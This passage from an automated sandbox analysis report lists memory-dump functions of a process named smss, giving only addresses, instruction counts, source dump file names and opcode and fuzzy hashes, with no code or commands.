                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 78784ac1b9e9f2912ec2d2b883646891f691544012d47ce5abb8599890a307a6
                                                      • Instruction ID: b084b163ff013003fbd244cbcc02a6a85fafc650977fc8e22a4fed78d6dc52cc
                                                      • Opcode Fuzzy Hash: 78784ac1b9e9f2912ec2d2b883646891f691544012d47ce5abb8599890a307a6
                                                      • Instruction Fuzzy Hash: A3412622B1D52D4AE748B7AC64A6AFD7780DF45325F0881FBD04FC71EBCD19A8828285
                                                      Function 00007FFD9BCF594B Relevance: .2, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b6f4edebd17ae582c8d10b3114fc5ae45c32f7f1a55f8e0304b5d9d8f2cb8d90
                                                      • Instruction ID: 413e1fa23d27424cdc2868a29d6efea36af3e2925c92739ffcedddfdb7d533d9
                                                      • Opcode Fuzzy Hash: b6f4edebd17ae582c8d10b3114fc5ae45c32f7f1a55f8e0304b5d9d8f2cb8d90
                                                      • Instruction Fuzzy Hash: 5B519D30F1A54E8FEB69DBB4C4605BCBBB0FF55310F6500BAD11AD71E6DA396A028741
                                                      Function 00007FFD9C09BD45 Relevance: .2, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3659241159d165d0d792c8759032cf3b2f1fc99d02f1ec94f805157af65e16dd
                                                      • Instruction ID: ef99a94556b5d02071d66df165e46e3b8d77564c69858851e595be31e9ec7529
                                                      • Opcode Fuzzy Hash: 3659241159d165d0d792c8759032cf3b2f1fc99d02f1ec94f805157af65e16dd
                                                      • Instruction Fuzzy Hash: 42411932A0D5AA9FDB75EBA8D8615ECBBB0FF51360F0401B7D15ED72D2DA186805C381
                                                      Function 00007FFD9BCFD181 Relevance: .2, Instructions: 150COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90874e782a05dbfb7369fd623ac6bab201f0d1de08d65a22691a086965262522
                                                      • Instruction ID: d95e7c1c771a2b0df7caa20c72daa6b78a7f5f895abe7313cbfd130982640b5d
                                                      • Opcode Fuzzy Hash: 90874e782a05dbfb7369fd623ac6bab201f0d1de08d65a22691a086965262522
                                                      • Instruction Fuzzy Hash: 8741D971F19A0E5FD768EBA88461AACBBE1FF45351F1541B9D01EC32A2DE24BD0287C0
                                                      Function 00007FFD9BCF0257 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 842868c0faa5ab4bfe8ea1ed4df853e084bef5ce20c79c2e73bc16ed13965244
                                                      • Instruction ID: c17a6453224a9273f65bddcc0a07409b03812cc3bdfb7e110aa04689ba9d813c
                                                      • Opcode Fuzzy Hash: 842868c0faa5ab4bfe8ea1ed4df853e084bef5ce20c79c2e73bc16ed13965244
                                                      • Instruction Fuzzy Hash: 9241803170C9198FDF98EF2CC0A5DA9B7E1FFA831070445AAD14EC3592DE21E889CB81
                                                      Function 00007FFD9BCF81E0 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 703f96b2c08aa6a02796f3da6f302389405de03e31fd63d13a40e4fa50f9adeb
                                                      • Instruction ID: 0a1e08656a632b5adf6b0925c3d59ff94971bbe2aed219f51c784d89303267a8
                                                      • Opcode Fuzzy Hash: 703f96b2c08aa6a02796f3da6f302389405de03e31fd63d13a40e4fa50f9adeb
                                                      • Instruction Fuzzy Hash: 36412220B1D81ECFEBB8CA6884746BC7BA1FF54301F1445FAD04ED71AAC9387A849740
                                                      Function 00007FFD9BCF94B7 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1baacf10424b3fe4be0231b8f336ff57eee5ff6ab0e12dfd0300b25d31b0b686
                                                      • Instruction ID: fddba9f29b8cb7c92963450bcb42e96fb04847d4479809e27783987e05527958
                                                      • Opcode Fuzzy Hash: 1baacf10424b3fe4be0231b8f336ff57eee5ff6ab0e12dfd0300b25d31b0b686
                                                      • Instruction Fuzzy Hash: 8941A63170C9588FDF98EF68C4A9EA577E1FBA932070501BAD04EC7292DE31E845CB41
                                                      Function 00007FFD9C097467 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 75f0ced2779be1c69f20bfce2a9e7d0046327d50925fd6f2a2a0d40c023b5fd6
                                                      • Instruction ID: 9b43ecb7539c8d12136b2dbc3058e1cd5b6bc6b965a85ec9a62486f981993ae9
                                                      • Opcode Fuzzy Hash: 75f0ced2779be1c69f20bfce2a9e7d0046327d50925fd6f2a2a0d40c023b5fd6
                                                      • Instruction Fuzzy Hash: 1B41333270C9598FDF98EB5CC4A5EA477E1FB69350B0441AAD05EC3196DE32E885CB81
                                                      Function 00007FFD9C0A0517 Relevance: .1, Instructions: 127COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 243628525dc2a9241bce9738cc2ed4b35432be240e7d938799f2e34b1c9c472b
                                                      • Instruction ID: b406de9716dd37e4d446616c8866ce58a6272c41896c4f858440580b98f7f0b2
                                                      • Opcode Fuzzy Hash: 243628525dc2a9241bce9738cc2ed4b35432be240e7d938799f2e34b1c9c472b
                                                      • Instruction Fuzzy Hash: 2241713160C9498FDBA8EB1CC0A9DA577E1FBA5325B04416AD04FC3192DE35E891DB41
                                                      Function 00007FFD9BCFB510 Relevance: .1, Instructions: 126COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 198dc70cffec52f9eb3a2897d46fc0bd2f073dc4abeb0c194853b5a536162134
                                                      • Instruction ID: 2f56c475230174c3c83032a2494bb06e959de5b0b48fac604c586171d1ea5ec7
                                                      • Opcode Fuzzy Hash: 198dc70cffec52f9eb3a2897d46fc0bd2f073dc4abeb0c194853b5a536162134
                                                      • Instruction Fuzzy Hash: 9A41AE31B0E69A8FDB59EBA8D8608ED7FB0FF05304B0901B6D05ADB1A3DA286904C751
                                                      Function 00007FFD9C096190 Relevance: .1, Instructions: 126COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6736da2c6743d62d9aaad6430d30523ceb7fe9ef5e0752c811c80a0ffa4b292f
                                                      • Instruction ID: 5d56db6d63f99c93424b6dce5284f0a8974206809d02c544574dbe0b0f1baa68
                                                      • Opcode Fuzzy Hash: 6736da2c6743d62d9aaad6430d30523ceb7fe9ef5e0752c811c80a0ffa4b292f
                                                      • Instruction Fuzzy Hash: AA41D430A1C96B8EE7B8DB588474BF877B1FF54380F1441BAD09EC7196CE3869859741
                                                      Function 00007FFD9BCF0031 Relevance: .1, Instructions: 124COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: dceb4e7a4e5a96834c92ba96362db114ea06f79c69c6d05ac7b57fb5650d8993
                                                      • Instruction ID: c58602653f96d76e62cf7fb264d67120e154257e61628fe0ff5d47d1c22344c6
                                                      • Opcode Fuzzy Hash: dceb4e7a4e5a96834c92ba96362db114ea06f79c69c6d05ac7b57fb5650d8993
                                                      • Instruction Fuzzy Hash: 6B414D21B0F68ECFEB758FA484719BD3FB0EF05B00F1640FAD04ED61A2DA286A448741
                                                      Function 00007FFD9C09BF39 Relevance: .1, Instructions: 123COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 954fbea52ed0ba81259ca4f10df9a2bd16b5b6dbd1c92c3b74d8670b8373ddab
                                                      • Instruction ID: 71bd87e59554a98f170d2a37cdf870c1586107020e79cfebd6ddc63ae2b49775
                                                      • Opcode Fuzzy Hash: 954fbea52ed0ba81259ca4f10df9a2bd16b5b6dbd1c92c3b74d8670b8373ddab
                                                      • Instruction Fuzzy Hash: C031C222F4D2978BF37996E458727BC3BA0FF423A0F1441BAE44E861D2DF1D38416652
                                                      Function 00007FFD9BCF9561 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a42b71f0f86e38dec239beb48521fa6c18b7962eeb7a49c7d2166b442fb1389b
                                                      • Instruction ID: 6d432343bbd235f76387ecb7b2f7296dc0bb853713911ef857c4c9dde808be9a
                                                      • Opcode Fuzzy Hash: a42b71f0f86e38dec239beb48521fa6c18b7962eeb7a49c7d2166b442fb1389b
                                                      • Instruction Fuzzy Hash: E13182317089588FDF98EF28C4A5EA477E1FBA931470502BAD05EC72A2DE35E841CB81
                                                      Function 00007FFD9BCF0301 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a56146485f17f714ca5805009f9bde53b742fcf8cfb7c101547a52b68e356abc
                                                      • Instruction ID: 1f8ecb72995e421fe94a25c1792920959548862dacca4751486764844fc7f966
                                                      • Opcode Fuzzy Hash: a56146485f17f714ca5805009f9bde53b742fcf8cfb7c101547a52b68e356abc
                                                      • Instruction Fuzzy Hash: 573180317089598FDF9CEF2CC0A5EA5B7E1FFA931070445AED05AC7592DE21E885CB81
                                                      Function 00007FFD9C097511 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 73426a8d83e132cc03c67af08d61cc5ad12618edb00f53fcc10d2fe63d12d9a8
                                                      • Instruction ID: b46e81d89cc0bc9b8b1495a5770e7810df1604e0bbf719a9673c17ceef4a3cb0
                                                      • Opcode Fuzzy Hash: 73426a8d83e132cc03c67af08d61cc5ad12618edb00f53fcc10d2fe63d12d9a8
                                                      • Instruction Fuzzy Hash: FE31523160C9558FDBADEF2CC4A5E6477E1FBA9310B0441AAD05EC7196CE36EC85CB81
                                                      Function 00007FFD9C0A05C1 Relevance: .1, Instructions: 120COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 96585cc9f9dca3ef6681945db5e48b27c394e5ba65c51f42598b8555e88394cf
                                                      • Instruction ID: 0b9712a7378d610f78da1ba589fc0d2423387d486d805aff9c2728c61c42c936
                                                      • Opcode Fuzzy Hash: 96585cc9f9dca3ef6681945db5e48b27c394e5ba65c51f42598b8555e88394cf
                                                      • Instruction Fuzzy Hash: 263192316089498FDBACEF1CC0A9E6477E1FFA9315B0445AAD05FC7192DE35E881CB91
                                                      Function 00007FFD9BCF94FB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f9dc978c517590c3e735bbc5670ddd91c39e2046bc2ee6272aa51bc48961e900
                                                      • Instruction ID: db668fe20b0ea9e65d2c35869ad0d1a922acd9f2c6892174f039b5d4bc96f702
                                                      • Opcode Fuzzy Hash: f9dc978c517590c3e735bbc5670ddd91c39e2046bc2ee6272aa51bc48961e900
                                                      • Instruction Fuzzy Hash: F83185317089598FDF98EF28C4A9EA477E1FB6931070502BAD05EC7292DE35E881CF81
                                                      Function 00007FFD9BCF029B Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: b29c845b797ecdb62277e895cfb821b9742615019044e176a5c3e13cac4d71e8
                                                      • Instruction ID: 30f4c9fdfa2605e628d331f3623a7c877bf320535eefa163904897a7a0523fd3
                                                      • Opcode Fuzzy Hash: b29c845b797ecdb62277e895cfb821b9742615019044e176a5c3e13cac4d71e8
                                                      • Instruction Fuzzy Hash: D13191317089098FDF9CEF28C0A5EA5B7E1FFA831070545AED04AC7592DE25F889CB81
                                                      Function 00007FFD9C0974AB Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1f134a3a655330d406e3e41b2e8202a87abba1fd103c79631b5b02677eb4cfc2
                                                      • Instruction ID: 347dd843433babfda2d8ff118a06610e40525b6604595f053818601cc6a3875e
                                                      • Opcode Fuzzy Hash: 1f134a3a655330d406e3e41b2e8202a87abba1fd103c79631b5b02677eb4cfc2
                                                      • Instruction Fuzzy Hash: F131433170C9558FDBA8EF6CC0A5EA477E1FB69310B0441A9D05EC7196DE36E885CB81
                                                      Function 00007FFD9C0A055B Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4b31897c6c88985d15527142552ecdd8f84aa904f1a93ca78e07d334058f29bf
                                                      • Instruction ID: 30e83a111fe93a1bc88df0cf511077d40e5e19d7cd7aa2134014965235215463
                                                      • Opcode Fuzzy Hash: 4b31897c6c88985d15527142552ecdd8f84aa904f1a93ca78e07d334058f29bf
                                                      • Instruction Fuzzy Hash: 803172317089498FDBA8EF1CC0A9EA577E1FFA9311B0445AAD04FC7192DE35E881DB81
                                                      Function 00007FFD9C0945CD Relevance: .1, Instructions: 115COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fc2261b35ddb098df15c75bcd3cea0ef750b2c140d941f3e7f70c17886c8b017
                                                      • Instruction ID: 299d493f7c0c3126e1100c3729e27d48168e7aa0dd1a37b0e4ae7f1f372e059d
                                                      • Opcode Fuzzy Hash: fc2261b35ddb098df15c75bcd3cea0ef750b2c140d941f3e7f70c17886c8b017
                                                      • Instruction Fuzzy Hash: D8315271B0C90A5FDB58EA98D461AA8F7F2FF59350F54417AD01ED3296DF24B8128BC0
                                                      Function 00007FFD9BCF70DE Relevance: .1, Instructions: 103COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ac07ba752e698292995357541d6d3d47a841c1886fc50042c4848ad3cf8e99a0
                                                      • Instruction ID: 4b91d0837c2e7a7a9f0ee9fd06c614907b50ca46878aceac8e4ae9417731fb89
                                                      • Opcode Fuzzy Hash: ac07ba752e698292995357541d6d3d47a841c1886fc50042c4848ad3cf8e99a0
                                                      • Instruction Fuzzy Hash: A4314531709A0A8FE765CB68E460AFE7FD0FF80311F1105BBE549C35A2CA26F6458780
                                                      Function 00007FFD9C09D6AB Relevance: .1, Instructions: 101COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7debf9983cea50e5c874b94b1f2b0b1caffc84a6f2bc4144f75cbec714a79fc5
                                                      • Instruction ID: a601e323e9bc55f4879359585fc5e2440683b1b11df1f7617b6bbe7213a01a53
                                                      • Opcode Fuzzy Hash: 7debf9983cea50e5c874b94b1f2b0b1caffc84a6f2bc4144f75cbec714a79fc5
                                                      • Instruction Fuzzy Hash: 9F312E71B58A1B9BDB58EB58D4A1AA9B3B2FF58350B104139D05ED3682DF24BC12DB80
                                                      Function 00007FFD9BCF92C5 Relevance: .1, Instructions: 98COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 9f7e815d0bca34496aaaabfb774a03e01416e884399987a227745a1b925d3588
                                                      • Instruction ID: 32bddcde1fd3dadb57364cea55c2cd2f3c512e3d236bf5c2676e68a7f55a85b4
                                                      • Opcode Fuzzy Hash: 9f7e815d0bca34496aaaabfb774a03e01416e884399987a227745a1b925d3588
                                                      • Instruction Fuzzy Hash: F9314D30B0A54ECFEFB8DBA484695BD7BB1FF84300F5200B6D01ED61E1DA79AA488741
                                                      Function 00007FFD9B931171 Relevance: .1, Instructions: 97COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: c7d1a43565694cf0b07f4af0550fdf5590e967546ab6c47bd1cbfd612a0feb2a
                                                      • Instruction ID: 73bc686ff423b350c8224978da8bfce9d0e8c0c38e17abcbb510a074187e2656
                                                      • Opcode Fuzzy Hash: c7d1a43565694cf0b07f4af0550fdf5590e967546ab6c47bd1cbfd612a0feb2a
                                                      • Instruction Fuzzy Hash: 7B31E430A0D65E9FDB45EBA4C8649E97BF0FF1A300B0945BBC00AC71B2DA38A941CB00
                                                      Function 00007FFD9BCF662D Relevance: .1, Instructions: 96COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 92b6ac52b92a30f67aed7510f9363ed8350566efb71fa0bddeda99918bcecce7
                                                      • Instruction ID: 8a2ed2c774c13eca574de2038d293d1b047023eb2605644bf4289d21a648005d
                                                      • Opcode Fuzzy Hash: 92b6ac52b92a30f67aed7510f9363ed8350566efb71fa0bddeda99918bcecce7
                                                      • Instruction Fuzzy Hash: BF31F871B0990E5FDB58DBA8C4619ACFBA1FF55310B514579D04DD3292CF24BD12CB40
                                                      Function 00007FFD9C097275 Relevance: .1, Instructions: 95COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ecd9b31bddb0d915471cc26c4404e170b9ae217226184d53eef88fb6e1899e59
                                                      • Instruction ID: fbd867ef219ea19b3bb12b20bbb39435624a394b88a5be2d94ecbb3c569d3edd
                                                      • Opcode Fuzzy Hash: ecd9b31bddb0d915471cc26c4404e170b9ae217226184d53eef88fb6e1899e59
                                                      • Instruction Fuzzy Hash: E4311932A1C94BCEEBB8DB9884B56BD77B1FF44340F50417AE51ED2191DF39A880A742
                                                      Function 00007FFD9B930998 Relevance: .1, Instructions: 94COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 061ebe31a07727a3e6aa47f2bf3ff0a3a74d8674b4496be0a4a2513adb11f3ef
                                                      • Instruction ID: 4eb739241fefecaefc4b2711edf1ea118ddf5c30f0f7556d0a505012cc038622
                                                      • Opcode Fuzzy Hash: 061ebe31a07727a3e6aa47f2bf3ff0a3a74d8674b4496be0a4a2513adb11f3ef
                                                      • Instruction Fuzzy Hash: 8121D720B2991D1FE758B76C986AA7A77C2EF99315B5100B9E40EC32F6DD15AC424281
                                                      Function 00007FFD9C0946A8 Relevance: .1, Instructions: 91COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 99b6d9f5d5fbdf0827ca8c6513e1ee294513e351e58af11f6a8ae259e2f9660c
                                                      • Instruction ID: 6188cde36b7d2287d73858905149f745db3d19cd06f8017b950d4ae168619e05
                                                      • Opcode Fuzzy Hash: 99b6d9f5d5fbdf0827ca8c6513e1ee294513e351e58af11f6a8ae259e2f9660c
                                                      • Instruction Fuzzy Hash: 00210661F0D68A0FE76897E858323A8BBE1EF463D0F04017AD05DC31D3EE0969054690
                                                      Function 00007FFD9C096160 Relevance: .1, Instructions: 90COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 44f448591e98187c0784a5e0e73a04f4519af91e234eaf34fec2e3a097fa1ca5
                                                      • Instruction ID: 790008d5b545885bea78a21f1848ffa051a8c26980f73a7f20d4c679795bbd52
                                                      • Opcode Fuzzy Hash: 44f448591e98187c0784a5e0e73a04f4519af91e234eaf34fec2e3a097fa1ca5
                                                      • Instruction Fuzzy Hash: B3312C10B1D9A74AE7BA879844746B47B71EF52381F1C46BAD0DF8B0D7CE2DB481A341
